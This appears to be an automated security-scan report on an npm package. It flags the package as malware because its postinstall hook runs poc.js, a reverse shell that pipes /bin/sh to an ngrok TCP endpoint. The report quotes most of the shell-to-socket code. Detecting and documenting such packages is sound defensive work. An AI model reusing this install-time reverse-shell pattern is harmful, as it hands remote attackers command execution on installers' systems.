It connects a spawned system shell to a remote ngrok endpoint, allowing remote command execution. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Verdict:** Malicious - **Confidence:** 99.0% - **Started:** 2026-08-26T06:38:15.560Z - **Finished:** 2026-08-26T06:38:37.677Z - **Download time:** 260 ms - **Static scan time:** 9 ms - **AI review time:** 21847 ms - **Total time:** 22117 ms ## Security analysis ### Published attack-surface review - **Summary:** Installation runs a reverse shell. It connects a spawned system shell to a remote ngrok endpoint, allowing remote command execution. - **Trigger:** npm installation invokes the postinstall script. - **Impact:** A remote operator can execute commands with the installing user's privileges. - **Evidence paths:** package.json, poc.js - **Review source:** ai\_review - **Reviewed:** 2026-08-26T06:38:37.677Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** postinstall reverse shell over a TCP socket - **Attack narrative:** The manifest invokes poc.js automatically after installation. That file spawns /bin/sh, opens a TCP connection to 0.tcp.in.ngrok.io:19775, and pipes the shell's standard input, output, and error streams through the connection, creating an install-time reverse shell. - **Rationale:** Direct inspection confirms concrete install-time remote shell access, not merely a suspicious primitive. This is malicious behavior with no user action required beyond installing the package. - **Files touched:** package.json, poc.js, /bin/sh - **Network endpoints:** 0.tcp.in.ngrok.io:19775 ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** postinstall executes poc.js during installation., poc.js spawns /bin/sh and connects it to a remote socket., The remote endpoint is 0.tcp.in.ngrok.io:19775. - **Evidence against:** No additional package files or dependencies were present. ## Public findings ### 1. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.postinstall = node poc.js ``` ### 2. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 3. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** poc.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L2: var net = require("net"), L3: cp = require("child_process"), L4: sh = cp.spawn("/bin/sh", []); ``` ### 4. Critical: Reverse Shell - **Category:** Source - **Confidence:** 92.0% - **Path:** poc.js - **Public source:** [View source]() Source matches reverse-shell style process and socket wiring. Public source snippet (untrusted): ```javascript L1: (function(){ L2: var net = require("net"), L3: cp = require("child_process"), L4: sh = cp.spawn("/bin/sh", []); L5: var client = new net.Socket(); ... L7: client.pipe(sh.stdin); L8: sh.stdout.pipe(client); L9: sh.stderr.pipe(client); ``` ### 5. Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** poc.js - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```javascript Trigger-reachable chain: scripts.postinstall -> poc.js L1: (function(){ L2: var net = require("net"), L3: cp = require("child_process"), L4: sh = cp.spawn("/bin/sh", []); L5: var client = new net.Socket(); ... L7: client.pipe(sh.stdin); L8: sh.stdout.pipe(client); L9: sh.stderr.pipe(client); ``` ### 6. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 90.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 7. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** poc.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = 7b809e99d5883db7 signatureType = suspicious_hashes sourceLabel = Datadog matchedPackage = @ibm-org/welcome@1.0.9 matchedPath = index.js matchedIdentity = npm:QGlibS1vcmcvd2VsY29tZQ:1.0.9 similarity = 1.000 shingleOverlap = 1 summary = Datadog malicious npm corpus sample: samples/npm/malicious_intent/@ibm-org@welcome/1.0.9/2025-05-28-@ibm-org_welcome-v1.0.9.zip ``` ### 8. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() postinstall executes poc.js during installation.
